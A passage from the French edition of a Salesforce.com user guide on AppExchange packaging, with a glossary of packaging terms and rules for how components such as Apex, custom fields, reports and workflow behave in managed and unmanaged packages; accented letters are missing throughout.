vous ajoutez un objet personnalis un package, ses champs personnaliss, prsentations de page et relations avec les objets
standard sont automatiquement inclus. Certains composants ne sont pas visibles dans la liste des composants prts l'emploi.
Par exemple, les valeurs traduites correspondant aux champs personnaliss sont incluses pour toute langue active ajoute au
package, mais le champ personnalis apparat dans la langue du dveloppeur dans la page relative des dtails du package.
Remarque: Les sous-applications, onglets et objets personnalises contenus dans un package gr, dans un statut
d'valuation, ou le package gr d'une application native, indpendamment du statut, ne sont pas comptabiliss dans
les limitations prises en charge par votre dition Salesforce.com.

Voir aussi :
Prsentation des packages
Gestion des packages
Glossaire de la cration de packages

Glossaire de la cration de packages

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Les termes et dfinitions ci-dessous prsentent les principaux concepts et les capacits AppExchange lis la cration de
packages :
Sous-application
Raccourci pour Application. Ensemble de composants, tels que des onglets, des rapports, des tableaux de bord et des
pages Visualforce, qui rpondent des besoins professionnels spcifiques. Salesforce.com fournit des sous-applications
standard comme Ventes et Centre d'appel. Vous pouvez adapter les sous-applications standard vos mthodes de travail.
En outre, vous pouvez crer un package pour une sous-application et le tlcharger dans Force.com AppExchange avec
des composants associs tels que des champs, des onglets et des objets personnaliss. Vous pouvez ensuite mettre la
sous-application la disposition des autres utilisateurs Salesforce.com dans AppExchange.
Rpertoire AppExchange
Rpertoire Web dans lequel des centaines de sous-applications sont disponibles pour les clients de Salesforce.com, qui
peuvent les rviser, les prsenter, les commenter et/ou les installer. Les dveloppeurs peuvent soumettre leurs
sous-applications pour les rpertorier dans AppExchange s'il souhaitent les partager avec la communaut.
Package gr, bta
Dans le contexte de packages grs, une version prcdente d'un package gr est tlcharge vers Force.com AppExchange
pour permettre quelques utilisateurs cibls de la tester.

Crer

Guide de l'utilisateur | Prsentation d'Apex | 833

Dployer
Pour changer la fonctionnalit d'un tat inactif un tat actif. Par exemple, lors du dveloppement de nouvelles
fonctionnalits dans l'interface utilisateur de Salesforce.com, vous devez slectionner l'option Dploy pour rendre
la fonctionnalit visible aux autres utilisateurs.
Le processus de migration depuis le dveloppement vers la production d'une application ou d'une autre fonctionnalit.
Pour dplacer les composants de mtadonnes depuis un systme de fichiers local vers une organisation Salesforce.com.
Pour les sous-applications installes, le dploiement met la disposition des utilisateurs de votre organisation tous les
objets personnaliss qu'elle contient. Avant le dploiement d'un objet personnalis, seuls les administrateurs et les
utilisateurs autoriss personnaliser l'application peuvent y accder.
Composant obsolte
Un diteur peut dcider d'affiner la fonctionnalit dans un package gr pour l'adapter l'volution des besoins. Il peut
modifier la conception de certains composants dans le package gr. Les diteurs ne peuvent pas supprimer certains
composants dans un package Gr-Publi, mais ils peuvent rendre obsolte un composant dans une version ultrieure
d'un package pour que les nouveaux abonns ne le reoivent plus. Ce composant continue toutefois de fonctionner pour
les abonns existants et les intgrations d'API.
Application de gestion de licences (LMA)
Sous-application AppExchange gratuite qui permet de suivre les pistes commerciales et les comptes pour chaque utilisateur
qui tlcharge l'un de vos packages grs depuis AppExchange.
Entreprise de gestion de licences (LMO)
Organisation Salesforce.com utilise pour suivre tous les utilisateurs Salesforce.com qui installent le package. Une
entreprise de gestion de licences doit avoir install l'application de gestion de licences (LMA). Elle reoit automatiquement
une notification chaque fois que votre package est install ou dsinstall. Vous pouvez ainsi facilement avertir les utilisateurs
des mises niveau disponibles. Vous pouvez dfinir toute entreprise Enterprise Edition, Unlimited Edition ou
Developer Edition comme votre entreprise de gestion de licences. Pour plus d'informations, visitez la page
http://sites.force.com/appexchange/publisherHome.
Package gr
Un ensemble de composants d'application qui sont publis en tant qu'unit dans AppExchange, et associs un espace
de noms et une Entreprise de gestion de licences. Un package doit tre gr pour tre publi publiquement dans
AppExchange et pour prendre en charge les mises niveau. Une organisation peut crer un seul package gr que de
nombreuses organisations peuvent tlcharger et installer. Ils sont diffrents des packages non grs car certains composants
sont verrouills pour permettre la mise niveau ultrieure du package gr. Les packages non grs ne comprennent pas
les composants verrouills et ne peuvent pas tre mis niveau. En outre, les packages grs masquent certains composants
(comme Apex) dans les organisations abonnes, afin de protger les droits de proprit intellectuelle du dveloppeur.
Extension de package gr
Tout package, composant ou ensemble de composants qui s'ajoute aux fonctionnalits d'un package gr. Une extension
ncessite que le package gr de base soit install dans l'organisation.
Prfixe d'espace de noms
Dans un contexte de gnration d'un package, un prfixe d'espace de noms est un identificateur alphanumrique de 1
15 caractres qui distingue votre package et son contenu de ceux d'autres dveloppeurs dans AppExchange. Les prfixes
d'espace de noms respectent la casse. Par exemple, ABC et abc ne sont pas considrs comme identiques. Le prfixe de
votre espace de noms doit tre unique dans l'ensemble des organisations Salesforce.com. Il vous permet de contrler
votre package gr en exclusivit.

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Guide de l'utilisateur | Prsentation d'Apex | 834

Sous-application native
Une sous-application conue exclusivement avec une configuration (mtadonnes) d'installation dans Force.com. Les
sous-applications natives ne requirent ni service ni infrastructure externe.
Package
Groupe de composants et d'applications Force.com qui sont disponibles pour les autres organisations via AppExchange.
Vous utilisez les packages pour regrouper une sous-application et les composants associs afin de pouvoir les tlcharger
ensemble sur Force.com AppExchange.
Dpendance du package
Cre lorsqu'un composant fait rfrence un autre composant, une autorisation ou une prfrence, qui doit exister pour
que le composant soit valide. Les composants peuvent comprendre (notamment) :

Champs standard ou personnaliss

Objets standard ou personnaliss
Pages Visualforce
Scripts Apex

Les autorisations et les prfrences peuvent comprendre (notamment) :

Services
Multidevise
Types d'enregistrement

Installation du package
Intgration du contenu d'un package dans votre organisation Salesforce.com. Un package AppExchange peut inclure
une application, un composant ou une combinaison des deux. Une fois le package install, il peut tre ncessaire de
dployer des composants dans le package pour qu'il soit disponible l'ensemble des utilisateurs de votre organisation.
Publication du package
La publication de votre package met celui-ci la disposition de tous les utilisateurs sur Force.com AppExchange. Les
sous-applications peuvent figurer dans des catgories spcifiques. Pour les retrouver, lancez une recherche par mot-cl.
Enregistrement du package
L'enregistrement de votre package permet d'accder des informations sur les utilisateurs qui visitent ou tlchargent
votre sous-application depuis Force.com AppExchange.
Version du package
Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro
de version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3.
Notez que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le
numroCorrectif indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus
d'informations sur l'activation de versions de correctifs pour votre organisation, contactez salesforce.com.
Les packages non grs ne peuvent pas tre mis niveau. Chaque version de package est un simple ensemble de composants
distribuer. Une version de package plus d'importance pour les packages grs. Les packages peuvent rvler des
comportements diffrents selon les versions. Les versions de package permettent aux diteurs d'adapter les composants
de leurs packages grs en publiant gracieusement des versions ultrieures sans gner les intgrations clientes existantes
en utilisant le package.

Crer

Guide de l'utilisateur | Prsentation d'Apex | 835

Partage priv
Processus de partage priv d'un package tlcharg vers AppExchange, en utilisant l'URL que vous avez reue de
Salesforce.com lors du tlchargement. L'URL n'est pas rpertorie dans AppExchange. L'utilisation d'une URL non
liste vous permet de partager un package manuellement sans le rendre public.
diteur
L'diteur d'un package est l'utilisateur ou l'organisation Salesforce.com qui l'a publi sur AppExchange. Les diteurs
doivent s'inscrire en utilisant leurs informations de contact aprs avoir enregistr leur package dans AppExchange.
Abonn
L'abonn un package est un utilisateur Salesforce.com qui dispose d'un package install dans son Salesforce.com.
Essai
Une solution d'valuation, galement appele dmonstration, est une entreprise Salesforce.com parfaitement fonctionnelle
contenant une application et tous les enregistrements de dmonstration ajouts par l'diteur d'un package donn. Elle
permet aux utilisateurs d'exprimenter, dans Force.com AppExchange, une application en tant qu'utilisateur en lecture
seule au moyen d'une interface Salesforce.com standard.
Package non gr
Un package AppExchange ne peut pas tre mis niveau ni contrl par son dveloppeur. Les packages non grs
permettent de slectionner tout composant d'une sous-application et de le migrer en l'tat vers AppExchange sans
passer par un processus de publication fastidieux.
Mise niveau
La mise niveau d'un package est le processus d'installation d'une version plus rcente. Salesforce.com prend en charge
les mises niveau des packages grs qui ne sont pas en version bta.
Tlchargement
Lorsqu'un package est tlcharg, il est envoy vers Force.com AppExchange. Le tlchargement d'un package n'est que
la premire tape : toutes les sous-applications AppExchange doivent tre enregistres afin que leur disponibilit soit
prive. La dernire tape (facultative) consiste publier l'application afin de la mettre la disposition de tous les utilisateurs
sur AppExchange.

Voir aussi :
Prsentation d'Apex

Crer

Guide de l'utilisateur | Prsentation des packages | 836

Prsentation des packages

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des packages :

Crer des packages AppExchange

Pour tlcharger des packages dans The AppExchange :

Tlcharger des packages AppExchange

Un package est un conteneur qui regroupe des lments aussi petits qu'un composant individuel ou aussi grands qu'une srie
de sous-applications associes. Une fois cr, vous pouvez distribuer le package d'autres utilisateurs et organisations
Salesforce.com, mme hors de votre entreprise.
Les packages se prsentent sous deux formats, non grs et grs :
Packages non grs
Peut tre utilis pour une distribution unique ou une migration de composants vers une ou plusieurs organisations
Salesforce.com. Une fois les composants distribus dans un package non gr, le dveloppeur perd le contrle des
composants que les installateurs peuvent modifier selon leurs besoins. Les packages non grs ne peuvent pas tre mis
niveau et sont gnralement gratuits. Ils permettent de distribuer des modles d'application qui fournissent aux dveloppeurs
les modules de base d'une application.
Packages grs
Un ensemble de composants d'application qui sont publis en tant qu'unit dans AppExchange, et associs un espace
de noms et une Entreprise de gestion de licences. Un package doit tre gr pour tre publi publiquement dans
AppExchange et pour prendre en charge les mises niveau. Une organisation peut crer un seul package gr que de
nombreuses organisations peuvent tlcharger et installer. Ils sont diffrents des packages non grs car certains composants
sont verrouills pour permettre la mise niveau ultrieure du package gr. Les packages non grs ne comprennent pas
les composants verrouills et ne peuvent pas tre mis niveau. En outre, les packages grs masquent certains composants
(comme Apex) dans les organisations abonnes, afin de protger les droits de proprit intellectuelle du dveloppeur.
Les packages grs sont trs utiles pour laborer une sous-application que vous comptez mettre niveau et vendre. Les
packages grs offrent galement la gestion des licences et la protection de la proprit intellectuelle.
Les dfinitions suivantes illustrent ces concepts :
Composants
Un composant est l'un des lments d'un package. Un composant dfinit un lment tel qu'un objet personnalis ou un
champ personnalis. Vous pouvez combiner les composants dans un package afin de gnrer des fonctionnalits ou des
applications puissantes. Dans un package non gr, les composants ne peuvent pas tre mis niveau. Dans un package
gr, certains composants peuvent tre mis niveau et d'autres pas.
Pour consulter la liste des composants qu'un package peut inclure, reportez-vous Composants intgrer dans un package
la page 866.
Attributs
Un attribut est un champ d'un composant, par exemple le nom d'un modle d'e-mail ou la case cocher Autoriser
les rapports d'un objet personnalis. Dans un composant qui ne peut pas tre mis niveau, au sein d'un package

Crer

Guide de l'utilisateur | Prsentation des packages | 837

gr ou non gr, les attributs peuvent tre modifis par le dveloppeur et l'abonn. Dans un composant qui peut tre
mis niveau, au sein d'un package gr, certains attributs peuvent tre modifis par le dveloppeur ou par l'abonn et
d'autres sont verrouills ce qui interdit toute modification par le dveloppeur ou l'abonn.
Pour plus d'informations sur les attributs modifiables pour chaque composant, reportez-vous Attributs de composants
dans les packages grs la page 878.
Les packages comprennent un ou plusieurs composants Salesforce.com qui comprennent eux-mmes un ou plusieurs attributs.
Le comportement des composants et des attributs est diffrent selon que le package est gr ou non gr.
Si vous prvoyez de distribuer une sous-application, il est important d'envisager la cration d'un package durant tout le processus
de dveloppement. For exemple :

En crant votre sous-application, prvoyez le comportement des composants et de leurs attributs dans diffrents packages
et versions Salesforce.com.
En prparant votre sous-application pour la distribution, prvoyez un mode de publication pour vos clients.
En installant un package, prvoyez la scurit et les contrats de licence de votre organisation.

Il est galement recommand de consulter des informations gnrales relatives la cration de packages, comme suit :

FAQ de distribution de packages

Glossaire de la cration de packages

Voir aussi :
Gestion des packages
Comportement des composants dans les packages
Prparation de vos applications pour la distribution

Cration de sous-applications pour la distribution

Si vous souhaitez partager une sous-application avec d'autres utilisateurs Salesforce.com, tenez compte des effets de la distribution
sur votre sous-application et ses composants ds le dbut du processus de cration. Les rubriques ci-dessous prsentent comment
concevoir des sous-applications en vue de russir leur distribution.

Prsentation d'Apex
Conception de sous-applications pour la distribution
Dpendances de sous-applications
tendue oprationnelle de champ dans des sous-applications gres
Composants intgrer dans un package
Attributs de composants dans les packages grs
ditions Salesforce.com et limitations
Documentation de l'utilisateur
Scurit
Mises niveau
Extensions

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Guide de l'utilisateur | Prsentation des packages | 838

Comportement des composants dans les packages

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des packages AppExchange :

Crer des packages AppExchange

Lorsque vous crez une sous-application distribuer, il est important de tenir compte de l'effet du package sur la sous-application
et ses composants. Cette section contient des consignes et des informations relatives des comportements spciaux dans les
packages. Ces consignes aident dterminer les lments inclure dans vos packages, concevoir des sous-applications et
distribuer les packages (grs et non grs).
Remarque:

Pour plus d'informations sur les proprits de chaque composant dans les packages, reportez-vous tableau des
proprits de composants dans les packages la page 868. Pour plus d'informations sur les attributs de chaque
composant dans les packages, reportez-vous tableau des attributs de composants la page 878.
Les noms de composants doivent tre uniques dans une mme organisation. Pour viter tout conflit entre vos noms
de composants et ceux de l'organisation d'un installateur, utilisez un package gr dans lequel les noms de tous vos
composants contiennent votre prfixe d'espace de nom.

Instantan analytique
Les dveloppeurs de packages grs doivent tenir compte des consquences de l'intgration d'instantans analytiques qui
font rfrence des rapports publis dans une version prcdente du package. Si l'abonn supprime le rapport ou le
dplace vers un dossier personnel, l'instantan analytique qui rfrence le rapport n'est pas install, mme si la page
Installation du package indique le contraire. En outre, si l'abonn a modifi le rapport, celui-ci peut renvoyer des rsultats
qui affectent les informations affiches par l'instantan analytique. Nous recommandons au dveloppeur de publier un
instantan analytique et les rapports associs dans la mme version.
Les objets personnaliss tant contrls par un dveloppeur, les mappages de champs d'instantans analytiques peuvent
ne plus tre valides lors de la mise niveau du package. Par exemple, si le dveloppeur supprime un champ personnalis
inclus dans le mappage de champs, celui-ci n'est plus valide. Des instantans analytiques peuvent tre crs, installs et
excuts avec des mappages non valides, condition qu'un mappage reste valide.
tant donn que l'utilisateur en cours est slectionn par l'abonn, certains mappages de champs d'instantans analytiques
peuvent ne plus tre valides si l'utilisateur n'a pas accs aux champs sources ou cibles.
Classes ou dclencheurs Apex
Tout Apex contenu dans un package Force.com AppExchange doit prsenter une couverture de test cumulative de 75
% minimum. Chaque dclencheur doit galement avoir une couverture de test. Lorsque vous tlchargez votre package
dans AppExchange, tous les tests sont excuts pour vrifier qu'ils ne contiennent pas d'erreurs. De plus, les tests sont
galement excuts lorsque le package est install dans l'entreprise de l'installateur. L'installateur peut dcider d'installer
ou non le package si l'un des tests a chou.

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Guide de l'utilisateur | Prsentation des packages | 839

Conseil: Pour viter les conflits de nommage, Salesforce.com recommande d'utiliser des packages grs pour
tous les packages contenant Apex. Ainsi, tous les objets Apex contiendront votre prfixe d'espace de nom. Par
exemple, s'il existe une classe Apex nomme MyHelloWorld et que l'espace de nom de votre entreprise est
OneTruCode, la classe est rfrence comme OneTruCode:MyHelloWorld.
Tenez compte des points suivants en incluant Apex dans votre package :

Si vous proposez des mthodes comme services Web, incluez une documentation dtaille pour permettre vos
abonns d'crire un code externe appelant votre service Web.
Si une classe Apex rfrence une tiquette personnalise et que cette tiquette possde des traductions, vous devez
explicitement intgrer dans le package les langues individuelles souhaites pour les traductions inclure dans le
package.
Si vous rfrencez un objet partag d'un objet personnalis (tel que MyCustomObject__share) dansApex, une
dpendance au modle de partage est ajoute votre package. Pour permettre aux autres organisations d'installer
votre package, vous devez dfinir le niveau d'accs par dfaut de partage l'chelle de l'organisation pour l'objet
personnalis sur Priv. Pour plus d'informations sur la dfinition du modle de partage, reportez-vous Gestion des
paramtres de partage la page 161.
Le code contenu dans un script Apex qui fait partie d'un package gr est automatiquement obscurci et ne peut pas
tre consult par une entreprise procdant l'installation. Les seules exceptions sont les mthodes dclares comme
globales, dont les signatures peuvent tre consultes dans une organisation procdant l'installation.
Vous pouvez utiliser l'annotation obsolte dans Apex pour identifier les mthodes, les classes, les exceptions, les
numrations, les interfaces et les variables qui ne peuvent plus tre rfrences dans des versions ultrieures du
package gr dans lequel elles rsident. Cette annotion est pratique pour refactoriser du code dans les packages grs
afin de l'adapter des exigences volutives. Lorsque vous avez tlcharg une autre version de package Gr-Publi,
le nouveaux abonns qui installent la toute dernire version du package ne peuvent pas afficher les lments obsoltes,
alors qu'ils continuent de fonctionner pour les abonns existants et les intgrations d'API.
Un script Apex contenu dans un package non gr qui rfrence de faon explicite un espace de nom ne peut pas tre
tlcharg.

Motifs de partage Apex

Les motifs de partage Apex peuvent tre ajouts directement un package, mais ils sont disponibles uniquement pour
des objets personnaliss.
Champs personnaliss

Les valeurs de listes de slection de champs personnaliss peuvent tre ajoutes, modifies ou supprimes par les
abonns. Un dveloppeur doit considrer cette possibilit avec attention lorsqu'il fait explicitement rfrence une
valeur de liste de slection dans le code. Les valeurs des listes de slection peuvent tre ajoutes ou supprimes par le
dveloppeur. Durant la mise niveau d'un package, aucune valeur nouvelle de listes de slection n'est installe dans
l'organisation de l'abonn pour les champs existants. Les valeurs de listes de slection supprimes par le dveloppeur
restent disponibles dans l'organisation de l'abonn.
Les champs de type numrotation automatique et les champs requis ne peuvent pas tre ajouts une fois l'objet
tlcharg dans un package gr-publi.
Les dveloppeurs peuvent ajouter des champs personnaliss universellement requis aux packages grs condition
qu'ils aient des valeurs par dfaut.

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Guide de l'utilisateur | Prsentation des packages | 840

tiquettes personnalises
Si une tiquette est traduite, la langue doit tre explicitement incluse dans le package afin que les traductions le soient
galement. Les abonns peuvent remplacer la traduction par dfaut d'une tiquette personnalise.
Objets personnaliss

Si un dveloppeur active les attributs Autoriser les rapports et Autoriser les activits d'un objet
personnalis d'un package, ces fonctionnalits sont galement actives dans l'organisation de l'abonn lors d'une mise
niveau. Une fois ces attributs activs dans un package gr-publi, le dveloppeur et l'abonn ne peuvent plus les
dsactiver.
Les remplacements de bouton et de lien standard ne peuvent pas tre inclus dans un package. L'abonn doit configurer
manuellement ces paramtres aprs l'installation.

Types de rapport personnalis

Un dveloppeur peut modifier un type de rapport personnalis dans un package gr aprs sa publication. Les abonns
reoivent automatiquement ces modifications lorsqu'ils installent une nouvelle version du package gr. Cependant, les
dveloppeurs ne peuvent pas supprimer des objets ou des champs du type de rapport une fois le package publi.
Paramtres personnaliss

Si un paramtre personnalis est contenu dans un package gr et que la Visibilit est spcifie en tant que
Package-Priv, le paramtre personnalis ne figure pas dans la liste des composants du package dans l'organisation
de l'abonn. Toutes les donnes du paramtre personnalis sont masques pour l'administrateur.

Onglets personnaliss

L'option Style de l'onglet d'un onglet personnalis doit tre unique au sein de votre sous-application. Toutefois,
elle n'est pas ncessairement unique au sein de l'organisation dans laquelle l'onglet est install. Le style de l'onglet
personnalis ne sera pas en conflit avec un onglet personnalis existant dans l'environnement du programme
d'installation.
Si vous souhaitez fournir des noms d'onglet personnalis en diffrentes langues, reportez-vous Attribution d'un
nouveau nom aux tiquettes d'onglets et de champs la page 359. Les abonns ne peuvent modifier les onglets
personnaliss dans un package gr.

Portail client et portail partenaire

Les packages qui font rfrence des champs de portail client ou de portail partenaire sont pris en charge. L'abonn qui
installe le package doit pour cela activer le portail correspondant.
Composants de tableau de bord
Les dveloppeurs de packages grs doivent tenir compte des consquences de l'intgration de composants de tableau
de bord qui font rfrence des rapports publis dans une version prcdente du package. Si l'abonn a supprim le
rapport ou l'a dplac dans un dossier personnel, le composant de tableau de bord qui rfrence le rapport est abandonn
durant l'installation. En outre, si l'abonn a modifi le rapport, celui-ci peut renvoyer des rsultats qui affectent les
informations affiches par le composant de tableau de bord. Nous recommandons au dveloppeur de publier un tableau
de bord et les rapports associs dans la mme version.

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Guide de l'utilisateur | Prsentation des packages | 841

Services

Lorsque les services sont activs dans un objet personnalis d'un package, la fonctionnalit des services doit tre
active dans l'organisation abonne pour installer le package.
La configuration du filtre de service dans un rapport ne cre aucune dpendance. Le paramtre est abandonn lors
de l'installation dans l'organisation de l'abonn.
La rcapitulation par champ de service de l'objet (par exemple, Service comptabilit) dans un rapport cre une
dpendance.
Si le champ de service de l'objet dans un rapport est inclus en tant que colonne et que l'organisation de l'abonn ne
prend pas en charge les services dans l'objet, la colonne est abandonne durant l'installation.
Si vous installez un type de rapport personnalis qui inclut un champ de service de l'objet en tant que colonne, cette
colonne est abandonne si l'organisation ne prend pas en charge les services.

Dpendances de champs

Les dveloppeurs et abonns peuvent ajouter, modifier ou supprimer des dpendances de champs.
Si le dveloppeur ajoute une dpendance de champ, l'ajout intervient durant l'installation, sauf si l'abonn a dj
spcifi une dpendance pour le mme champ.
Si un dveloppeur supprime une dpendance, cette modification n'est pas reflte dans l'organisation de l'abonn
lors d'une mise niveau.
Si le dveloppeur intgre un nouveau mappage de valeurs de liste de slection entre les champs dpendants et de
contrle, le mappage est ajout lors d'une mise niveau.
Si le dveloppeur supprime un mappage de valeur de liste de slection, cette modification n'est pas reflte dans
l'organisation de l'abonn lors d'une mise niveau.

Dossiers

Les composants stocks par Salesforce.com dans des dossiers, par exemple des documents, ne peuvent pas tre ajouts
aux packages lorsqu'ils sont stocks dans des dossiers personnels et non classs. Placez les documents, rapports et
autres composants stocks par Salesforce.com dans des dossiers, dans l'un de vos dossiers accessibles au public.
Les composants tels que les documents, les modles de message, les rapports ou les tableaux de bord sont stocks
dans de nouveaux dossiers, dans l'organisation du programme d'installation, l'aide des noms de dossier de l'diteur.
Donnez ces dossiers des noms qui indiquent qu'ils font partie du package.
Si un nouveau rapport, tableau de bord, document ou modle d'e-mail est install durant une mise niveau et que
le dossier contenant le composant est supprim par l'abonn, le dossier est recr. Les composants du dossier qui ont
t supprims ne sont pas restaurs.
Le nom d'un composant contenu dans un dossier doit tre unique pour l'ensemble des dossiers du mme type de
composant, l'exception des dossiers personnels. Les composants contenus dans un dossier personnel doivent tre
uniques uniquement au sein du dossier personnel.

Composants de la page d'accueil

Lorsque vous crez un package pour une prsentation de page d'accueil personnalise, tous les composants de la page
d'accueil personnalise contenus dans cette prsentation sont automatiquement ajouts. Les composants standard tels
que Messages & alertes ne sont pas inclus dans le package et ne remplacent pas le composant Messages & alertes de
l'installateur. Pour inclure un message dans votre prsentation de page d'accueil personnalise, crez un composant
d'onglet page d'accueil personnalise de type Zone HTML qui contient votre message et ajoutez-le votre prsentation
de page d'accueil personnalise.

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Guide de l'utilisateur | Prsentation des packages | 842

Prsentations de page d'accueil

Une fois installes, vos prsentations de page d'accueil personnalises sont rpertories avec les prsentations de page
d'accueil de l'abonn. Distinguez-les en incluant le nom de votre sous-application dans le nom de la prsentation de page
d'accueil.
Vues de liste
Les vues de liste associes des files d'attente ne peuvent pas tre incluses dans un package.
Devises multiples

Si un abonn installe un rapport ou un type de rapport personnalis qui inclut le champ de devise d'un objet en tant
que colonne, celle-ci est abandonne si la fonction multidevises n'est pas active pour l'organisation de l'abonn.
Le rfrencement du champ de devise d'un objet dans les critres d'un rapport, par exemple Devise du compte,
cre une dpendance.
La rcapitulation par un champ de devise d'un objet dans un rapport cre une dpendance.
L'utilisation d'une dsignation en devise dans la valeur d'un critre d'un rapport (par exemple Revenu annuel gal
100 EUR) ne cre aucune dpendance. Si l'organisation ne prend pas en charge la devise, l'excution du rapport
par ses installateurs gnre une erreur.
Dans un rapport, si le champ de devise d'un objet est inclus en tant que colonne et que la fonction multidevises n'est
pas active dans l'organisation de l'abonn, cette colonne est abandonne durant l'installation.
Si un abonn installe un type de rapport personnalis qui inclut le champ de devise d'un objet en tant que colonne,
celle-ci est abandonne si la fonction multidevises n'est pas active pour l'organisation.

Prsentations de page
La prsentation de page de la personne qui tlcharge un package est celle utilise pour les organisations Group Edition
et Professional Edition, et devient la prsentation de page par dfaut pour les organisations Enterprise Edition, Unlimited
Edition et Developer Edition.
Les prsentations de page doivent tre insres dans des packages avec des types d'enregistrements complmentaires si
la prsentation est installe dans un objet existant. Sinon, les prsentations de page installes doivent tre appliques
manuellement aux profils.
Si une prsentation de page et un type d'enregistrement sont crs suite l'installation d'un package, l'attribution d'une
prsentation de page pour ce type d'enregistrement l'utilisateur qui la tlcharge est attribue ce type d'enregistrement
pour tous les profils de l'organisation de l'abonn, sauf si un profil est mapp durant une installation ou une mise nveau.
Comptes personnels
Les packages qui rfrencent des champs associs des comptes personnels dans l'objet Compte (par exemple Est
Compte personnel, Nom, Prnom ou Titre) ne peuvent pas tre tlchargs.
Valeurs de listes de slection

Les abonns peuvent renommer ou supprimer des valeurs de champ de listes de slection. Un dveloppeur doit
envisager cette possibilit avec prcaution lorsqu'il rfrence explicitement une valeur de champ de liste de slection
dans Apex.
Les valeurs de champ de listes de slection peuvent tre ajoutes ou supprimes dans l'organisation du dveloppeur.
Aucune valeur nouvelle n'est installe lors de la mise niveau. Les valeurs supprimes par le dveloppeur restent
disponibles dans l'organisation de l'abonn, jusqu' leur suppression par l'abonn.

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Guide de l'utilisateur | Prsentation des packages | 843

Paramtres de profil
Les paramtres de profil peuvent tre ajouts tout moment un package gr, mme aprs avoir t

Gr-Publi.

Types d'enregistrement

Si les types d'enregistrement sont inclus dans le package, l'organisation de l'abonn doit prendre en charge les types
d'enregistrement pour installer le package.
Lors de l'installation d'une nouvelle valeur de liste de slection, elle est associe tous les types d'enregistrement
installs, en fonction des mappages spcifis dans l'organisation du dveloppeur. Un abonn peut modifier cette
association.
Le rfrencement du champ du type d'enregistrement d'un objet dans les critres d'un rapport, par exemple
Enregistrement du compte, cre une dpendance.
La rcapitulation par le champ du type d'enregistrement d'un objet dans les critres d'un rapport, par exemple
Enregistrement du compte, cre une dpendance.
Dans un rapport, si le champ du type d'enregistrement d'un objet est inclus en tant que colonne et que l'organisation
de l'abonn n'utilise pas les types d'enregistrement de l'objet ou ne prend pas en charge les types d'enregistrement,
la colonne est abandonne durant l'installation.
Si vous installez un type de rapport personnalis qui inclut un champ de type d'enregistrement d'un objet en tant que
colonne, cette colonne est abandonne si l'organisation ne prend pas en charge les types d'enregistrement ou si aucun
type d'enregistrement n'est dfini pour l'objet.

Rapports
Si un rapport inclut des lments impossible intgrer dans un package, ces lments sont abandonns ou dclasss, ou
le tlchargement du package choue. Par exemple :

Les navigations descendantes d'une hirarchie sont abandonnes dans les rapports d'activit et d'opportunits.
Les filtres de champs impossible intgrer un package sont automatiquement abandonns (par exemple, dans les
filtres des types d'enregistrement d'objet standard).
Le tlchargement d'un package choue si un rapport inclut des conditions de filtre avances dans un champ impossible
intgrer un package (par exemple, dans les filtres des types d'enregistrement d'objet standard).
Les valeurs de recherche du champ Slectionner une campagne des rapports standard sur les campagnes sont
abandonns.
Les rapports sont abandonnes dans les packages s'ils ont t dplacs vers un dossier priv ou vers le dossier Rapports
publics non classs.
Lors de l'installation d'un package dans une organisation qui ne dispose pas de Chart Analytics 2.0 :
-

Les graphiques de combinaison sont dclasss au lieu d'tre abandonns. Par exemple, un graphique de combinaison
colonnes verticales avec une ligne ajoute est dclass en simple graphique colonnes verticales ; un graphique
de combinaison barres avec des barres supplmentaires est dclass en simple graphique barres.
Les types de graphiques non pris en charge, tels que les graphiques en anneau et en entonnoir, sont abandonns.

Systme de traduction

Si vous avez activ le systme de traduction et ajout une langue votre package, toutes les valeurs traduites associes
sont automatiquement regroupes pour les composants appropris de votre package. Assurez-vous que vous avez
propos des traductions pour tous les composants possibles.

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Guide de l'utilisateur | Prsentation des packages | 844

Un installateur de votre package peut voir les langues prises en charge sur la page de dtails du package. Aucun
lment particulier ne doit tre activ par l'installateur pour que la traduction des langues prdfinie apparaisse.
L'unique raison pour laquelle l'installateur peut souhaiter activer le systme de traduction est la modification des
traductions pour les composants non grs aprs installation, le remplacement de la traduction d'tiquettes
personnalises dans un package gr ou la traduction dans des langues supplmentaires.
Lors de la conception d'une extension de package, vous pouvez inclure des traductions pour les composants de
l'extension, mais aucune traduction supplmentaire pour les composants du package de base.

Rgles de validation
Pour les objets personnaliss intgrs un package, toute rgle de validation associe est implicitement intgre au
package.
Workflow

Salesforce.com empche le tlchargement d'alertes de workflow prsentant un groupe public, un utilisateur partenaire
ou un destinataire de rle. Remplacez le destinataire par un utilisateur avant de tlcharger votre sous-application.
Pendant l'installation, Salesforce.com remplace cet utilisateur par l'utilisateur effectuant l'installation de la
sous-application et l'installateur peut la personnaliser si ncessaire.
Salesforce.com empche le tlchargement des mises jour de champ de workflow qui remplacent un champ
Responsable par une file d'attente. Remplacez la valeur du champ mis jour par un utilisateur avant de tlcharger
votre sous-application. Pendant l'installation, Salesforce.com remplace cet utilisateur par l'utilisateur effectuant
l'installation de la sous-application et l'installateur peut la personnaliser si ncessaire.
Salesforce.com empche le tlchargement des rgles de workflow, des mises jour de champ et des messages sortants
qui font rfrence un type d'enregistrement sur un objet standard ou gr-install.
Salesforce.com empche le tlchargement des tches de workflow qui sont associes un rle. Remplacez le champ
Attribu par un utilisateur avant de tlcharger votre sous-application. Pendant l'installation, Salesforce.com
remplace cet utilisateur par l'utilisateur effectuant l'installation de la sous-application et l'installateur peut la
personnaliser si ncessaire.
Vous pouvez crer un package pour les rgles de workflow et toutes les actions de workflow associes, telles que les
alertes et les mises jour de champ. Cependant, les dclencheurs temporels ne sont pas inclus dans le package.
Avertissez vos installateurs qu'ils doivent configurer les dclencheurs temporels essentiels votre sous-application.
Les alertes de workflow, les mises jour de champ, les messages sortants et les tches peuvent tre protgs par le
dveloppeur. Pour plus d'informations sur les composants protgs, reportez-vous Composants protgs la page
845.
Les dveloppeurs peuvent associer ou dissocier tout moment les actions de workflow dans une rgle de workflow.
Ces modifications, la dissociation incluse, sont refltes dans l'organisation de l'abonn lors de l'installation. Dans
